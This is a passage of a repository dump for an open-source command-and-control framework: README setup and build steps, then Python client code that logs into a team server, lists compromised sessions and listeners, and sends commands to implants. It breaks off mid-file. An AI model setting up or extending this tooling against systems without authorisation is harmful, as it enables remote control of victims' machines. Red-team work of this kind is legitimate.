45 | 46 | --- 47 | 48 | ## **⚡ Quick Start** 49 | 50 | ### **🖥️ Running the TeamServer** 51 | 52 | A precompiled version of the TeamServer is available in the release archive, which includes default TLS certificates for gRPC and HTTP communication. 53 | 54 | To download the latest release, use the following command, or visit the [release page](https://github.com/maxDcb/C2TeamServer/releases): 55 | 56 | ```bash 57 | wget -q $(wget -q -O - 'https://api.github.com/repos/maxDcb/C2TeamServer/releases/latest' | jq -r '.assets[] | select(.name=="Release.tar.gz").browser_download_url') -O ./C2TeamServer.tar.gz \ 58 | && mkdir C2TeamServer && tar xf C2TeamServer.tar.gz -C C2TeamServer --strip-components 1 59 | ``` 60 | 61 | To launch the TeamServer: 62 | 63 | ```bash 64 | cd Release 65 | ./TeamServer 66 | ``` 67 | 68 | --- 69 | 70 | ### **🐳 Docker Deployment** 71 | 72 | If you prefer containerized execution (recommended to avoid host library issues), build and run the Dockerfile: 73 | 74 | ```bash 75 | # 0) Get Dockerfile 76 | curl -sL https://raw.githubusercontent.com/maxDcb/C2TeamServer/refs/heads/master/Dockerfile -o Dockerfile 77 | 78 | # 1) Build 79 | sudo docker build -t exploration-teamserver . 80 | 81 | # 2) Create a host copy of the release 82 | CID=$(sudo docker create exploration-teamserver) 83 | sudo docker cp "$CID":/opt/teamserver/Release /opt/C2TeamServer 84 | sudo docker rm "$CID" 85 | 86 | # 3) Run container with host Release mounted (for easy editing) 87 | sudo docker run -it --rm --name exploration-teamserver -v /opt/C2TeamServer/Release:/opt/teamserver/Release -p 50051:50051 -p 80:80 -p 443:443 -p 8443:8443 exploration-teamserver 88 | ``` 89 | 90 | --- 91 | 92 | ### **💻 Installing and Running the Client** 93 | 94 | Install the Python client using [uv](https://docs.astral.sh/uv/getting-started/installation/): 95 | 96 | ```bash 97 | # uv 98 | uv tool install git+https://github.com/maxDcb/C2TeamServer.git#subdirectory=C2Client 99 | ``` 100 | 101 | Set the path to the TeamServer certificate, if you run in a docker you can simply cp the `server.crt`, or if you follow the above section it should be in `/opt/C2TeamServer/TeamServer/server.crt`: 102 | 103 | ```bash 104 | export C2_CERT_PATH=/path/to/teamserver/cert/server.crt 105 | ``` 106 | 107 | Connect to the TeamServer: 108 | 109 | ```bash 110 | c2client --ip 127.0.0.1 --port 50051 111 | ``` 112 | 113 | --- 114 | 115 | ## **📝 Building a Modern C2 — Blog Series** 116 | 117 | Explore an in-depth, hands-on guide to developing a modern Command and Control (C2) framework. This series covers the architecture, design decisions, and implementation details of the **C2TeamServer** project. 118 | 119 | 🔗 [Read the full series here](https://maxdcb.github.io/BuildingAModernC2/) 120 | 121 | --- 122 | 123 | ### **📚 Series Overview** 124 | 125 | * **Part 0 — Setup and Basic Usage**: Learn how to set up and launch your first Linux beacon. 126 | * **Part 1 — TeamServer & Architecture**: Discover the build system, messaging choices, and listener management. 127 | * **Part 2 — GUI & Operator Workflows**: Dive into the design goals and functionalities of the graphical user interface. 128 | * **Part 3 — Beacons & Listeners**: Understand implant architecture and channel implementations. 129 | * **Part 4 — Modules**: Explore module templates and implementation strategies. 130 | 131 | --- 132 | 133 | The added emojis help bring some fun and engagement to the titles and sections, guiding the reader through the document while also visually highlighting the key parts. 134 | 135 | ## 🛠️ Build 136 | 137 | The **Exploration C2 Framework** consists of multiple components, including the **C2TeamServer**, **C2Implant**, and **C2LinuxImplant**. Below are the build instructions for **C2TeamServer**. 138 | 139 | ### 🔧 Build Process 140 | 141 | 1. **Install Dependencies**: 142 | 143 | * Ensure you have **CMake**, **g++**, and **Conan** installed. 144 | 145 | ```bash 146 | sudo apt install cmake 147 | pip3 install conan 148 | ``` 149 | 150 | 2. **Clone the Repository**: 151 | If you haven't cloned the repository already, you can do so with: 152 | 153 | ```bash 154 | git clone https://github.com/maxDcb/C2TeamServer.git 155 | cd C2TeamServer 156 | git submodule update --init 157 | ``` 158 | 159 | 3. **Configure the Build**: 160 | 161 | * Create a build directory and navigate into it. 162 | 163 | ```bash 164 | mkdir build 165 | cd build 166 | ``` 167 | 168 | * Run CMake to configure the build process. This may take some time if you haven't installed the necessary dependencies yet, which are provided by Conan. 169 | 170 | ```bash 171 | cmake .. -DCMAKE_PROJECT_TOP_LEVEL_INCLUDES=./conan_provider.cmake 172 | ``` 173 | 174 | 4. **Build the TeamServer**: 175 | 176 | * Now, you can compile the TeamServer with the following command: 177 | 178 | ```bash 179 | make 180 | ``` 181 | 182 | * This will generate the `TeamServer` binary along with the TeamServer modules and copy them into the `Release` folder in the root directory of the project. 183 | -------------------------------------------------------------------------------- /C2Client/C2Client/GUI.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import logging 3 | import os 4 | import signal 5 | import sys 6 | from typing import Optional, Tuple 7 | 8 | from PyQt6.QtWidgets import ( 9 | QApplication, 10 | QDialog, 11 | QDialogButtonBox, 12 | QGridLayout, 13 | QHBoxLayout, 14 | QLabel, 15 | QLineEdit, 16 | QMainWindow, 17 | QPushButton, 18 | QTabWidget, 19 | QVBoxLayout, 20 | QWidget, 21 | ) 22 | 23 | from .grpcClient import GrpcClient 24 | from .ListenerPanel import Listeners 25 | from .SessionPanel import Sessions 26 | from .ConsolePanel import ConsolesTab 27 | from .GraphPanel import Graph 28 | 29 | import qdarktheme 30 | 31 | logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s') 32 | 33 | signal.signal(signal.SIGINT, signal.SIG_DFL) 34 | 35 | 36 | class CredentialDialog(QDialog): 37 | """Prompt for credentials when environment variables are absent.""" 38 | 39 | def __init__(self, parent: Optional[QWidget] = None, default_username: str = "") -> None: 40 | super().__init__(parent) 41 | self.setWindowTitle("Login") 42 | self.setModal(True) 43 | 44 | layout = QVBoxLayout(self) 45 | description = QLabel("Login:") 46 | description.setWordWrap(True) 47 | layout.addWidget(description) 48 | 49 | self.username_input = QLineEdit(self) 50 | self.username_input.setPlaceholderText("Username") 51 | if default_username: 52 | self.username_input.setText(default_username) 53 | layout.addWidget(self.username_input) 54 | 55 | self.password_input = QLineEdit(self) 56 | self.password_input.setPlaceholderText("Password") 57 | self.password_input.setEchoMode(QLineEdit.EchoMode.Password) 58 | layout.addWidget(self.password_input) 59 | 60 | self.error_label = QLabel("Username and password are required.") 61 | self.error_label.setStyleSheet("color: red;") 62 | self.error_label.setVisible(False) 63 | layout.addWidget(self.error_label) 64 | 65 | buttons = QDialogButtonBox(QDialogButtonBox.StandardButton.Ok | QDialogButtonBox.StandardButton.Cancel) 66 | buttons.accepted.connect(self._handle_accept) 67 | buttons.rejected.connect(self.reject) 68 | layout.addWidget(buttons) 69 | 70 | def _handle_accept(self) -> None: 71 | username = self.username_input.text().strip() 72 | password = self.password_input.text() 73 | if not username or not password: 74 | self.error_label.setVisible(True) 75 | return 76 | self.accept() 77 | 78 | def credentials(self) -> Tuple[str, str]: 79 | return self.username_input.text().strip(), self.password_input.text() 80 | 81 | 82 | class App(QMainWindow): 83 | """Main application window for the C2 client.""" 84 | 85 | def __init__(self, ip: str, port: int, devMode: bool, credentials: Optional[Tuple[str, str]] = None) -> None: 86 | super().__init__() 87 | 88 | self.ip = ip 89 | self.port = port 90 | self.devMode = devMode 91 | 92 | username: Optional[str] = None 93 | password: Optional[str] = None 94 | if credentials: 95 | username, password = credentials 96 | 97 | try: 98 | self.grpcClient = GrpcClient( 99 | self.ip, 100 | self.port, 101 | self.devMode, 102 | username=username, 103 | password=password, 104 | ) 105 | except ValueError as e: 106 | raise e 107 | 108 | self.createPayloadWindow: Optional[QWidget] = None 109 | 110 | self.title = 'Exploration C2' 111 | self.left = 0 112 | self.top = 0 113 | self.width = 1000 114 | self.height = 1000 115 | self.setWindowTitle(self.title) 116 | self.setGeometry(self.left, self.top, self.width, self.height) 117 | 118 | central_widget = QWidget() 119 | self.setCentralWidget(central_widget) 120 | 121 | config_button = QPushButton("Payload") 122 | config_button.clicked.connect(self.payloadForm) 123 | 124 | self.mainLayout = QGridLayout(central_widget) 125 | self.mainLayout.setContentsMargins(0, 0, 0, 0) 126 | self.mainLayout.setRowStretch(1, 3) 127 | self.mainLayout.setRowStretch(2, 7) 128 | 129 | self.topLayout() 130 | self.botLayout() 131 | 132 | self.sessionsWidget.sessionScriptSignal.connect(self.consoleWidget.script.sessionScriptMethod) 133 | self.sessionsWidget.sessionScriptSignal.connect(self.consoleWidget.assistant.sessionAssistantMethod) 134 | self.listenersWidget.listenerScriptSignal.connect(self.consoleWidget.script.listenerScriptMethod) 135 | 136 | self.sessionsWidget.interactWithSession.connect(self.consoleWidget.addConsole) 137 | 138 | self.consoleWidget.script.mainScriptMethod("start", "", "", "") 139 | 140 | def topLayout(self) -> None: 141 | """Initialise the upper part of the main window.""" 142 | 143 | self.topWidget = QTabWidget() 144 | 145 | self.m_main = QWidget() 146 | 147 | self.m_main.layout = QHBoxLayout(self.m_main) 148 | self.m_main.layout.setContentsMargins(0, 0, 0, 0) 149 | 150 | self.sessionsWidget = Sessions(self, self.grpcClient) 151 | self.listenersWidget = Listeners(self, self.grpcClient) 152 | 153 | # Adjust the stretch factors: sessions gets more space, listeners gets less 154 | self.m_main.layout.addWidget(self.sessionsWidget, 2) # 66% width 155 | self.m_main.layout.addWidget(self.listenersWidget, 1) # 33% width 156 | 157 | self.topWidget.addTab(self.m_main, "Main") 158 | 159 | self.graphWidget = Graph(self, self.grpcClient) 160 | self.topWidget.addTab(self.graphWidget, "Graph") 161 | 162 | self.mainLayout.addWidget(self.topWidget, 1, 1, 1, 1) 163 | 164 | 165 | def botLayout(self) -> None: 166 | """Initialise the bottom console area.""" 167 | 168 | self.consoleWidget = ConsolesTab(self, self.grpcClient) 169 | self.mainLayout.addWidget(self.consoleWidget, 2, 0, 1, 2) 170 | 171 | 172 | def __del__(self) -> None: 173 | """Ensure scripts are stopped when the window is destroyed.""" 174 | if hasattr(self, 'consoleWidget'): 175 | self.consoleWidget.script.mainScriptMethod("stop", "", "", "") 176 | 177 | 178 | def payloadForm(self) -> None: 179 | """Display the payload creation window.""" 180 | if self.createPayloadWindow is None: 181 | try: 182 | from .ScriptPanel import CreatePayload # type: ignore 183 | except Exception: 184 | CreatePayload = QWidget # fallback to simple widget 185 | self.createPayloadWindow = CreatePayload() 186 | self.createPayloadWindow.show() 187 | 188 | 189 | def main() -> None: 190 | """Entry point used by the project script.""" 191 | 192 | parser = argparse.ArgumentParser(description='TeamServer IP and port.') 193 | parser.add_argument('--ip', default='127.0.0.1', help='IP address (default: 127.0.0.1)') 194 | parser.add_argument('--port', type=int, default=50051, help='Port number (default: 50051)') 195 | parser.add_argument('--dev', action='store_true', help='Enable developer mode to disable the SSL hostname check.') 196 | 197 | args = parser.parse_args() 198 | 199 | app = QApplication(sys.argv) 200 | app.setStyleSheet(qdarktheme.load_stylesheet()) 201 | 202 | username = os.getenv("C2_USERNAME") 203 | password = os.getenv("C2_PASSWORD") 204 | 205 | credentials: Optional[Tuple[str, str]] = None 206 | if username and password: 207 | credentials = (username, password) 208 | else: 209 | dialog = CredentialDialog(default_username=username or "") 210 | if dialog.exec() != QDialog.DialogCode.Accepted: 211 | sys.exit(1) 212 | credentials = dialog.credentials() 213 | 214 | try: 215 | window = App(args.ip, args.port, args.dev, credentials) 216 | window.show() 217 | sys.exit(app.exec()) 218 | except ValueError: 219 | sys.exit(1) 220 | sys.exit(app.exec()) 221 | 222 | 223 | if __name__ == "__main__": 224 | main() 225 | -------------------------------------------------------------------------------- /C2Client/C2Client/grpcClient.py: -------------------------------------------------------------------------------- 1 | """gRPC client utilities for the C2 client. 2 | 3 | This module provides the :class:`GrpcClient` which wraps the generated 4 | TeamServer stubs with a small convenience layer for certificate handling, 5 | metadata injection and basic error reporting. 6 | """ 7 | 8 | import logging 9 | import os 10 | import sys 11 | import uuid 12 | from typing import Any, Iterable, List, Tuple, Optional 13 | 14 | sys.path.append(os.path.dirname(os.path.abspath(__file__)) + '/libGrpcMessages/build/py/') 15 | 16 | import grpc 17 | import TeamServerApi_pb2 18 | import TeamServerApi_pb2_grpc 19 | 20 | 21 | MetadataType = List[Tuple[str, str]] 22 | 23 | 24 | class GrpcClient: 25 | """Thin wrapper around the gRPC TeamServer API client. 26 | 27 | Parameters 28 | ---------- 29 | ip: 30 | IP address of the TeamServer. 31 | port: 32 | Port exposed by the TeamServer. 33 | devMode: 34 | If ``True`` the SSL hostname check is disabled. 35 | token: 36 | Bearer token used for authentication metadata. 37 | username: 38 | Username to authenticate with. If omitted, environment variables are used. 39 | password: 40 | Password to authenticate with. If omitted, environment variables are used. 41 | """ 42 | 43 | def __init__( 44 | self, 45 | ip: str, 46 | port: int, 47 | devMode: bool, 48 | token: Optional[str] = None, 49 | username: Optional[str] = None, 50 | password: Optional[str] = None, 51 | ) -> None: 52 | env_cert_path = os.getenv('C2_CERT_PATH') 53 | 54 | if env_cert_path and os.path.isfile(env_cert_path): 55 | ca_cert = env_cert_path 56 | logging.info("Using certificate from environment variable: %s", ca_cert) 57 | else: 58 | try: 59 | import pkg_resources 60 | ca_cert = pkg_resources.resource_filename('C2Client', 'server.crt') 61 | except ImportError: 62 | ca_cert = os.path.join(os.path.dirname(__file__), 'server.crt') 63 | logging.info( 64 | "Using default certificate: %s. To use a custom C2 certificate, set the C2_CERT_PATH environment variable.", 65 | ca_cert, 66 | ) 67 | 68 | if os.path.exists(ca_cert): 69 | with open(ca_cert, 'rb') as fh: 70 | root_certs = fh.read() 71 | else: 72 | logging.error( 73 | "%s not found, this file is needed to secure the communication between the client and server.", 74 | ca_cert, 75 | ) 76 | raise ValueError("grpcClient: Certificate not found") 77 | 78 | credentials = grpc.ssl_channel_credentials(root_certs) 79 | if devMode: 80 | self.channel = grpc.secure_channel( 81 | f"{ip}:{port}", 82 | credentials, 83 | options=[ 84 | ('grpc.ssl_target_name_override', 'localhost'), 85 | ('grpc.max_send_message_length', 512 * 1024 * 1024), 86 | ('grpc.max_receive_message_length', 512 * 1024 * 1024), 87 | ], 88 | ) 89 | else: 90 | self.channel = grpc.secure_channel( 91 | f"{ip}:{port}", 92 | credentials, 93 | options=[ 94 | ('grpc.max_send_message_length', 512 * 1024 * 1024), 95 | ('grpc.max_receive_message_length', 512 * 1024 * 1024), 96 | ], 97 | ) 98 | 99 | try: 100 | grpc.channel_ready_future(self.channel).result() 101 | except grpc.RpcError as exc: 102 | logging.error("Failed to connect to gRPC server: %s", exc) 103 | raise ValueError("grpcClient: unable to connect") from exc 104 | 105 | self.stub = TeamServerApi_pb2_grpc.TeamServerApiStub(self.channel) 106 | 107 | if token is None: 108 | if username is None or password is None: 109 | username, password = self._load_credentials_from_env() 110 | token = self._authenticate(username, password) 111 | 112 | self.metadata: MetadataType = [ 113 | ("authorization", f"Bearer {token}"), 114 | ("clientid", str(uuid.uuid4())[:16]), 115 | ] 116 | 117 | def _load_credentials_from_env(self) -> Tuple[str, str]: 118 | username = os.getenv("C2_USERNAME") 119 | password = os.getenv("C2_PASSWORD") 120 | if not username or not password: 121 | raise ValueError( 122 | "grpcClient: missing C2_USERNAME or C2_PASSWORD environment variables for authentication", 123 | ) 124 | return username, password 125 | 126 | def _authenticate(self, username: str, password: str) -> str: 127 | request = TeamServerApi_pb2.AuthRequest(username=username, password=password) 128 | response = self.stub.Authenticate(request) 129 | if response.status != TeamServerApi_pb2.OK or not response.token: 130 | message = response.message or "unknown authentication error" 131 | logging.error("Authentication failed for user %s: %s", username, message) 132 | raise ValueError(f"grpcClient: authentication failed: {message}") 133 | 134 | logging.info("Authenticated against TeamServer as %s", username) 135 | return response.token 136 | 137 | def getListeners(self) -> Any: 138 | """Return the list of listeners registered on the TeamServer.""" 139 | 140 | empty = TeamServerApi_pb2.Empty() 141 | try: 142 | return self.stub.GetListeners(empty, metadata=self.metadata) 143 | except grpc.RpcError as exc: 144 | logging.error("GetListeners RPC failed: %s", exc) 145 | raise 146 | 147 | def addListener(self, listener: Any) -> Any: 148 | """Add a new listener on the TeamServer.""" 149 | 150 | try: 151 | return self.stub.AddListener(listener, metadata=self.metadata) 152 | except grpc.RpcError as exc: 153 | logging.error("AddListener RPC failed: %s", exc) 154 | raise 155 | 156 | def stopListener(self, listener: Any) -> Any: 157 | """Stop a running listener.""" 158 | 159 | try: 160 | return self.stub.StopListener(listener, metadata=self.metadata) 161 | except grpc.RpcError as exc: 162 | logging.error("StopListener RPC failed: %s", exc) 163 | raise 164 | 165 | def getSessions(self) -> Any: 166 | """Return all active sessions.""" 167 | 168 | empty = TeamServerApi_pb2.Empty() 169 | try: 170 | return self.stub.GetSessions(empty, metadata=self.metadata) 171 | except grpc.RpcError as exc: 172 | logging.error("GetSessions RPC failed: %s", exc) 173 | raise 174 | 175 | def stopSession(self, session: Any) -> Any: 176 | """Terminate a session.""" 177 | 178 | try: 179 | return self.stub.StopSession(session, metadata=self.metadata) 180 | except grpc.RpcError as exc: 181 | logging.error("StopSession RPC failed: %s", exc) 182 | raise 183 | 184 | def sendCmdToSession(self, command: Any) -> Any: 185 | """Send a command to the specified session.""" 186 | 187 | try: 188 | return self.stub.SendCmdToSession(command, metadata=self.metadata) 189 | except grpc.RpcError as exc: 190 | logging.error("SendCmdToSession RPC failed: %s", exc) 191 | raise 192 | 193 | def getResponseFromSession(self, session: Any) -> Iterable[Any]: 194 | """Yield responses for a given session.""" 195 | 196 | try: 197 | return self.stub.GetResponseFromSession(session, metadata=self.metadata) 198 | except grpc.RpcError as exc: 199 | logging.error("GetResponseFromSession RPC failed: %s", exc) 200 | raise 201 | 202 | def getHelp(self, command: Any) -> Any: 203 | """Return help information for a command.""" 204 | 205 | try: 206 | return self.stub.GetHelp(command, metadata=self.metadata) 207 | except grpc.RpcError as exc: 208 | logging.error("GetHelp RPC failed: %s", exc) 209 | raise 210 | 211 | def sendTermCmd(self, command: Any) -> Any: 212 | """Send a command to the TeamServer terminal.""" 213 | 214 | try: 215 | return self.stub.SendTermCmd(command, metadata=self.metadata) 216 | except grpc.RpcError as exc: 217 | logging.error("SendTermCmd RPC failed: %s", exc) 218 | raise 219 | 220 | -------------------------------------------------------------------------------- /C2Client/C2Client/SessionPanel.py: -------------------------------------------------------------------------------- 1 | import time 2 | import logging 3 | 4 | from PyQt6.QtCore import Qt, QThread, QTimer, pyqtSignal, QObject 5 | from PyQt6.QtWidgets import ( 6 | QGridLayout, 7 | QLabel, 8 | QMenu, 9 | QTableView, 10 | QTableWidget, 11 | QTableWidgetItem, 12 | QWidget, 13 | QHeaderView, 14 | QAbstractItemView, 15 | ) 16 | 17 | from .grpcClient import TeamServerApi_pb2 18 | 19 | 20 | # 21 | # Session 22 | # 23 | class Session(): 24 | 25 | def __init__(self, id, listenerHash, beaconHash, hostname, username, arch, privilege, os, lastProofOfLife, killed, internalIps, processId, additionalInformation): 26 | self.id = id 27 | self.listenerHash = listenerHash 28 | self.beaconHash = beaconHash 29 | self.hostname = hostname 30 | self.username = username 31 | self.arch = arch 32 | self.privilege = privilege 33 | self.os = os 34 | self.lastProofOfLife = lastProofOfLife 35 | self.killed = killed 36 | self.internalIps = internalIps 37 | self.processId = processId 38 | self.additionalInformation = additionalInformation 39 | 40 | 41 | class Sessions(QWidget): 42 | 43 | interactWithSession = pyqtSignal(str, str, str, str) 44 | sessionScriptSignal = pyqtSignal(str, str, str, str, str, str, str, str, str, bool) 45 | 46 | idSession = 0 47 | listSessionObject = [] 48 | 49 | 50 | def __init__(self, parent, grpcClient): 51 | super(QWidget, self).__init__(parent) 52 | 53 | self.grpcClient = grpcClient 54 | 55 | widget = QWidget(self) 56 | self.layout = QGridLayout(widget) 57 | 58 | self.label = QLabel('Sessions') 59 | self.layout.addWidget(self.label) 60 | 61 | # List of sessions 62 | self.listSession = QTableWidget() 63 | self.listSession.setShowGrid(False) 64 | self.listSession.setSelectionBehavior(QAbstractItemView.SelectionBehavior.SelectRows) 65 | self.listSession.setRowCount(0) 66 | self.listSession.setColumnCount(11) 67 | 68 | self.listSession.setContextMenuPolicy(Qt.ContextMenuPolicy.CustomContextMenu) 69 | self.listSession.customContextMenuRequested.connect(self.showContextMenu) 70 | 71 | self.listSession.verticalHeader().setVisible(False) 72 | header = self.listSession.horizontalHeader() 73 | for i in range(header.count()): 74 | header.setSectionResizeMode(i, QHeaderView.ResizeMode.Stretch) 75 | QTimer.singleShot(100, self.switch_to_interactive) 76 | self.layout.addWidget(self.listSession) 77 | 78 | # Thread to fetch sessions every second 79 | # https://realpython.com/python-pyqt-qthread/ 80 | self.thread = QThread() 81 | self.getSessionsWorker = GetSessionsWorker() 82 | self.getSessionsWorker.moveToThread(self.thread) 83 | self.thread.started.connect(self.getSessionsWorker.run) 84 | self.getSessionsWorker.checkin.connect(self.getSessions) 85 | self.thread.start() 86 | 87 | self.setLayout(self.layout) 88 | 89 | 90 | def resizeEvent(self, event): 91 | super().resizeEvent(event) 92 | self.listSession.verticalHeader().setVisible(False) 93 | header = self.listSession.horizontalHeader() 94 | for i in range(header.count()): 95 | header.setSectionResizeMode(i, QHeaderView.ResizeMode.Stretch) 96 | QTimer.singleShot(100, self.switch_to_interactive) 97 | 98 | 99 | def switch_to_interactive(self): 100 | header = self.listSession.horizontalHeader() 101 | for i in range(header.count()): 102 | header.setSectionResizeMode(i, QHeaderView.ResizeMode.Interactive) 103 | 104 | def __del__(self): 105 | self.getSessionsWorker.quit() 106 | self.thread.quit() 107 | self.thread.wait() 108 | 109 | 110 | def showContextMenu(self, position): 111 | index = self.listSession.indexAt(position) 112 | if not index.isValid(): 113 | return 114 | 115 | row = index.row() 116 | self.item = str(self.listSession.item(row, 0).data(0)) 117 | 118 | menu = QMenu() 119 | menu.addAction('Interact') 120 | menu.addAction('Stop') 121 | menu.addAction('Delete') 122 | menu.triggered.connect(self.actionClicked) 123 | menu.exec(self.listSession.viewport().mapToGlobal(position)) 124 | 125 | 126 | # catch Interact and Stop menu click 127 | def actionClicked(self, action): 128 | hash = self.item 129 | for ix, sessionStore in enumerate(self.listSessionObject): 130 | if sessionStore.beaconHash[0:8] == hash: 131 | if action.text() == "Interact": 132 | self.interactWithSession.emit(sessionStore.beaconHash, sessionStore.listenerHash, sessionStore.hostname, sessionStore.username) 133 | elif action.text() == "Stop": 134 | self.stopSession(sessionStore.beaconHash, sessionStore.listenerHash) 135 | elif action.text() == "Delete": 136 | self.listSessionObject.pop(ix) 137 | self.printSessions() 138 | 139 | 140 | def stopSession(self, beaconHash, listenerHash): 141 | session = TeamServerApi_pb2.Session( 142 | beaconHash=beaconHash, listenerHash=listenerHash) 143 | self.grpcClient.stopSession(session) 144 | self.getSessions() 145 | 146 | 147 | def getSessions(self): 148 | responses = self.grpcClient.getSessions() 149 | 150 | sessions = list() 151 | for response in responses: 152 | sessions.append(response) 153 | 154 | # check for idl sessions 155 | for ix, item in enumerate(self.listSessionObject): 156 | runing=False 157 | for session in sessions: 158 | if session.beaconHash == item.beaconHash: 159 | runing=True 160 | # set idl 161 | if not runing: 162 | self.listSessionObject[ix].lastProofOfLife="-1" 163 | 164 | for session in sessions: 165 | inStore=False 166 | for sessionStore in self.listSessionObject: 167 | #maj 168 | if session.listenerHash == sessionStore.listenerHash and session.beaconHash == sessionStore.beaconHash: 169 | self.sessionScriptSignal.emit("update", session.beaconHash, session.listenerHash, session.hostname, session.username, session.arch, session.privilege, session.os, session.lastProofOfLife, session.killed) 170 | inStore=True 171 | sessionStore.lastProofOfLife=session.lastProofOfLife 172 | sessionStore.listenerHash=session.listenerHash 173 | if session.hostname: 174 | sessionStore.hostname=session.hostname 175 | if session.username: 176 | sessionStore.username=session.username 177 | if session.arch: 178 | sessionStore.arch=session.arch 179 | if session.privilege: 180 | sessionStore.privilege=session.privilege 181 | if session.os: 182 | sessionStore.os=session.os 183 | if session.lastProofOfLife: 184 | sessionStore.lastProofOfLife=session.lastProofOfLife 185 | if session.killed: 186 | sessionStore.killed=session.killed 187 | if session.internalIps: 188 | sessionStore.internalIps=session.internalIps 189 | if session.processId: 190 | sessionStore.processId=session.processId 191 | if session.additionalInformation: 192 | sessionStore.additionalInformation=session.additionalInformation 193 | # add 194 | if not inStore: 195 | self.sessionScriptSignal.emit("start", session.beaconHash, session.listenerHash, session.hostname, session.username, session.arch, session.privilege, session.os, session.lastProofOfLife, session.killed) 196 | 197 | # print(session) 198 | 199 | self.listSessionObject.append( 200 | Session( 201 | self.idSession, 202 | session.listenerHash, session.beaconHash, 203 | session.hostname, session.username, session.arch, 204 | session.privilege, session.os, session.lastProofOfLife, 205 | session.killed, session.internalIps, session.processId, session.additionalInformation 206 | ) 207 | ) 208 | self.idSession = self.idSession+1 209 | 210 | self.printSessions() 211 | 212 | 213 | # don't clear the list each time but just when it's necessary 214 | def printSessions(self): 215 | self.listSession.setRowCount(len(self.listSessionObject)) 216 | self.listSession.setHorizontalHeaderLabels(["Beacon ID", "Listener ID", "Host", "User", "Architecture", "Privilege", "Operating System", "Process ID", "Internal IP", "ProofOfLife", "Killed"]) 217 | for ix, sessionStore in enumerate(self.listSessionObject): 218 | 219 | beaconHash = QTableWidgetItem(sessionStore.beaconHash[0:8]) 220 | self.listSession.setItem(ix, 0, beaconHash) 221 | 222 | listenerHash = QTableWidgetItem(sessionStore.listenerHash[0:8]) 223 | self.listSession.setItem(ix, 1, listenerHash) 224 | 225 | hostname = QTableWidgetItem(sessionStore.hostname) 226 | self.listSession.setItem(ix, 2, hostname) 227 | 228 | username = QTableWidgetItem(sessionStore.username) 229 | self.listSession.setItem(ix, 3, username) 230 | 231 | arch = QTableWidgetItem(sessionStore.arch) 232 | self.listSession.setItem(ix, 4, arch) 233 | 234 | privilege = QTableWidgetItem(sessionStore.privilege) 235 | self.listSession.setItem(ix, 5, privilege) 236 | 237 | os = QTableWidgetItem(sessionStore.os) 238 | self.listSession.setItem(ix, 6, os) 239 | 240 | processId = QTableWidgetItem(sessionStore.processId) 241 | self.listSession.setItem(ix, 7, processId) 242 | 243 | internalIps = QTableWidgetItem(sessionStore.internalIps) 244 | self.listSession.setItem(ix, 8, internalIps) 245 | 246 | pol = QTableWidgetItem(sessionStore.lastProofOfLife.split(".", 1)[0]) 247 | self.listSession.setItem(ix, 9, pol) 248 | 249 | killed = QTableWidgetItem(str(sessionStore.killed)) 250 | self.listSession.setItem(ix, 10, killed) 251 | 252 | 253 | class GetSessionsWorker(QObject): 254 | checkin = pyqtSignal() 255 | 256 | def __init__(self, parent=None): 257 | super().__init__(parent) 258 | self.exit = False 259 | 260 | def __del__(self): 261 | self.exit=True 262 | 263 | def run(self): 264 | try: 265 | while self.exit==False: 266 | if self.receivers(self.checkin) > 0: 267 | self.checkin.emit() 268 | time.sleep(2) 269 | except Exception as e: 270 | pass 271 | 272 | def quit(self): 273 | self.exit=True 274 | 275 | -------------------------------------------------------------------------------- /C2Client/C2Client/ListenerPanel.py: -------------------------------------------------------------------------------- 1 | import time 2 | import logging 3 | 4 | from PyQt6.QtCore import Qt, QThread, pyqtSignal, QObject 5 | from PyQt6.QtWidgets import ( 6 | QComboBox, 7 | QFormLayout, 8 | QGridLayout, 9 | QLabel, 10 | QLineEdit, 11 | QMenu, 12 | QPushButton, 13 | QTableView, 14 | QTableWidget, 15 | QTableWidgetItem, 16 | QWidget, 17 | QHeaderView, 18 | QAbstractItemView, 19 | ) 20 | 21 | from .grpcClient import TeamServerApi_pb2 22 | 23 | 24 | # 25 | # Constant 26 | # 27 | ListenerTabTitle = "Listeners" 28 | AddListenerWindowTitle = "Add Listener" 29 | 30 | TypeLabel = "Type" 31 | IpLabel = "IP" 32 | PortLabel = "Port" 33 | DomainLabel = "Domain" 34 | ProjectLabel = "Project" 35 | TokenLabel = "Token" 36 | 37 | HttpType = "http" 38 | HttpsType = "https" 39 | TcpType = "tcp" 40 | GithubType = "github" 41 | DnsType = "dns" 42 | SmbType = "smb" 43 | 44 | 45 | # 46 | # Listener tab implementation 47 | # 48 | class Listener(): 49 | 50 | def __init__(self, id, hash, type, host, port, nbSession): 51 | self.id = id 52 | self.listenerHash = hash 53 | self.type = type 54 | self.host = host 55 | self.port = port 56 | self.nbSession = nbSession 57 | 58 | 59 | class Listeners(QWidget): 60 | 61 | listenerScriptSignal = pyqtSignal(str, str, str, str) 62 | 63 | idListener = 0 64 | listListenerObject = [] 65 | 66 | 67 | def __init__(self, parent, grpcClient): 68 | super(QWidget, self).__init__(parent) 69 | 70 | self.grpcClient = grpcClient 71 | 72 | self.createListenerWindow = None 73 | 74 | widget = QWidget(self) 75 | self.layout = QGridLayout(widget) 76 | 77 | self.label = QLabel(ListenerTabTitle) 78 | self.layout.addWidget(self.label) 79 | 80 | # List of sessions 81 | self.listListener = QTableWidget() 82 | self.listListener.setShowGrid(False) 83 | self.listListener.setSelectionBehavior(QAbstractItemView.SelectionBehavior.SelectRows) 84 | 85 | self.listListener.setRowCount(0) 86 | self.listListener.setColumnCount(4) 87 | 88 | # self.listListener.cellPressed.connect(self.listListenerClicked) 89 | self.listListener.setContextMenuPolicy(Qt.ContextMenuPolicy.CustomContextMenu) 90 | self.listListener.customContextMenuRequested.connect(self.showContextMenu) 91 | 92 | self.listListener.verticalHeader().setVisible(False) 93 | header = self.listListener.horizontalHeader() 94 | for i in range(header.count()): 95 | header.setSectionResizeMode(i, QHeaderView.ResizeMode.Stretch) 96 | self.layout.addWidget(self.listListener) 97 | 98 | # Thread to get listeners every second 99 | # https://realpython.com/python-pyqt-qthread/ 100 | self.thread = QThread() 101 | self.getListenerWorker = GetListenerWorker() 102 | self.getListenerWorker.moveToThread(self.thread) 103 | self.thread.started.connect(self.getListenerWorker.run) 104 | self.getListenerWorker.checkin.connect(self.getListeners) 105 | self.thread.start() 106 | 107 | self.setLayout(self.layout) 108 | 109 | 110 | def __del__(self): 111 | self.getListenerWorker.quit() 112 | self.thread.quit() 113 | self.thread.wait() 114 | 115 | 116 | def 